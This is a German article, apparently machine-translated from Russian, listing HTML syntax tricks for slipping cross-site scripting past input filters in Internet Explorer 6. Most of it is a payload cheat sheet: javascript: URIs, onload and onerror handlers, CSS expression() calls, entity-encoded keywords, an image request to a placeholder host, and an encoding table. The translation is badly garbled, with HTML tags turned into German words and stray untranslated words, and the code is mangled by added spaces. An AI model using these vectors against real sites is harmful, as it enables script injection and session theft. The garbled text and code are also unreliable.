Merkmale HTML-Syntax
Eine der wichtigsten Methoden zum Schutz der Gebiete von XSS-Schwachstelle - ist es, verschiedene Filter auf die Zeichen vom Benutzer eingegeben zu verwenden. In diesem Artikel beschreiben wir die Eigenschaften der Syntax von HTML, die die Daten in den Bypass-Filter ermöglicht.
Es sollte beachtet werden, dass die Schwachstelle XSS Browser-abhängig ist. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder anderen Browsern können Beispiele auch nicht funktionieren. Zum Beispiel kann ein Reverse-Apostroph ( ') Zeichen ist das Trennzeichen Attribut nur im Internet Explorer. Andere Browser wie Opera zum Beispiel, glaubt nicht, dass Charakter ogrnichitelem.
Neben Raum, ist es erlaubt , die Zeichen zu verwenden: Slash (/), Tabulatoren, Zeilenvorschub. Der Separator ist erlaubt zu verzichten, wenn frühere Zugehörigkeit in Anführungszeichen eingeschlossen.
<Bild / src = "1.png" / alt = "Tip" / border = "0"> <Bild src = "1.png" alt = "Tip" border = "0"> <image src = "1.png" alt = "Tip" border = "0"> <Bild src = "1.png" alt = "Tip" border = "0">
Die Werte dürfen zitiert werden (Doppel- und Einzelzimmer) und Apostrophe erlaubt nur die allgemeine Begrenzung nicht.
<Bild src = "" alt = "Mein Tipp" border = "0"> <Bild src = "" alt = "Mein Tipp" border = "0"> <Bild src = "" alt = 'Meine podskazka` border = "0"> <Bild src = "" alt = Tip border = "0">
Erklärung der Symbole im Skript kommt zu seiner Umsetzung:
<Img src = javascript: alert (& quot; OK & quot;)> <Img src = javascript: alert (& # 039; ok & # 039;)> <Img src = javascript: alert ( 'ok')> <a href=javascript:alert(%22ok%22)> mir klicken </a> (nur im href - Attribut)
<Img src = javascript: alert ( 'ok')> <Img src = javascript: alert ( "ok")> <Img src = javascript: a = / ok /; alert (a.source)> <Img src = javascript: alert (String.fromCharCode (111107))>
<Img src = javascript: i = new / ** / Bild (); i.src = 'http: //bla.bla'> ( Ersetzen der Platz auf / ** /)
Mehrere Möglichkeiten, um automatisch Skripte auszuführen:
<Script> alert ( 'ok') </ script> <Script src = 1.js> </ script> <Body onload = alert ( 'ok')> <Meta http-equiv = Refresh-Gehalt = 0; url = javascript: alert ( 'ok')> <Bild src = 1.png onload = alert ( 'ok')> <Bild src = javascript: alert ( 'ok')> <Bild src = "" onerror = alert ( 'ok')> <Hr style = background: url (javascript: alert ( 'ok'))> <Span style = top: Ausdruck (alert ( 'ok'))> </ span> <Span sss = "alert () ; this.sss = null" style = top: Ausdruck (eval (this.sss));> </ span> ( funktioniert nur einmal) <style type = "text / css"> @import url (javascript: alert ( 'ok')); </ style> <Object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = URL-Wert = javascript: alert ( 'ok')> </ object> <Embed src = javascript: alert ( 'ok'); this.avi> <Embed src = javascript: alert ( 'ok'); this.wav> <Iframe src = javascript: alert ( 'ok')> ( nur IE) <a href=javascript:alert(%22ok%22)> mir klicken </a> (nur ausgeführt , wenn Sie auf den Link klicken) <a href = javascript: alert ( 'aaa' + eval ( "alert (); i = 2 + 2 ') +' bbb ')> klick mich </a> ( nur aktiv, wenn Sie auf den Link klicken) <br SIZE =" & { alert ( 'XSS')} "> ( nur Netscape 4.x)
<Img src = javascript: alert ()> <Img src = vbscript: alert ()> <Img src = javascript: alert ()> <Img src = "javascript: alert ()"> ( Leerzeichen bis JavaScript - Wörter) <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()> <Img src = javascript & # 9: alert ()> <Img src = javascript & # 10: alert ()> <Img src = javascript & # 13: alert ()> <Img src = "javascript : Alert () "> (vor dem Doppelpunkt - ein Tab - Zeichen) <Img src = "java scri pt: ale rt () "> (in Worten javascript - ein Tab - Zeichen als Carriage Return)
Operatoren Skript im Stil - Attribut zu teilen "\;".
<Hr style = `background: url (javascript: alert ( 'ok 1') \; alert ( 'ok 2'))">
<Image src = "1.png" alt = "" border = " 0"> (img - Tag und Bild die gleiche Arbeit) <Klartext> (alles , was später dieses Tag bewegen wird als Klartext zu sehen - nicht HTML) <textarea> (alles , was später dieses Tag bewegen wird als Klartext zu sehen - nicht HTML) <xml> (alles , was später in diesem Tag erscheint nicht in irgendeiner Weise bewegen wird)
Symbol | dezimal - Codierung | 16. Codierung * | Zeichenkodierung | URL-codierte |
" | & # 34 | & # X22; | & quot | 22% |
' | & # 39 | & # X27; | 27% | |
` | & # 96 | & # X60; | 60% | |
<Space> | & # 32 | & # X20; | + | |
<Tab> | & # 9 | & # X09; | 09% | |
<Carriage Return> | & # 13 | & # X0D; | % 0D | |
= | & # 61 | & # X3D; | % 3D | |
< | & # 60 | & # X3C; | & lt | % 3C |
> | & # 62 | & # X3E; | & gt | % 3E |
\ | & # 92 | & # X5C; | % 5C | |
% | & # 37 | & # X25; | 25% | |
+ | & # 43 | & # X2B; | % 2B | |
<Kurz Strich> | & # 173 | & # XAD; | & shy | % AD |
& | & # 38 | & # X26; | & amp | 26% |
* -in Einigen Fällen kann das Semikolon weggelassen werden (wenn das Zeichen am Ende der Zeile oder Zeile ist nur ein paar Zeichen in der Kodierung sind).
. Ähnliche: http://ha.ckers.org/xss.html
Sie können auch shram.kiev.ua unterstützen, klicken Sie auf:
Seien Sie nicht zu Ihren Freunden und finden Sie diese Informationen, teilen mit ihnen den Artikel nicht in Ordnung!
Kommentare
im Auge kommentierte halten , dass der Inhalt und der Ton Ihrer Nachrichten , die Gefühle von echten Menschen verletzen können, Respekt und Toleranz gegenüber seinen Gesprächspartnern, auch wenn Sie Ihr Verhalten in Bezug auf die Meinungsfreiheit und die Anonymität des Internets, ändert ihre Meinung nicht teilen, nicht nur virtuell, sondern realen Welt. Alle Kommentare werden aus dem Index, Spam - Kontrolle versteckt.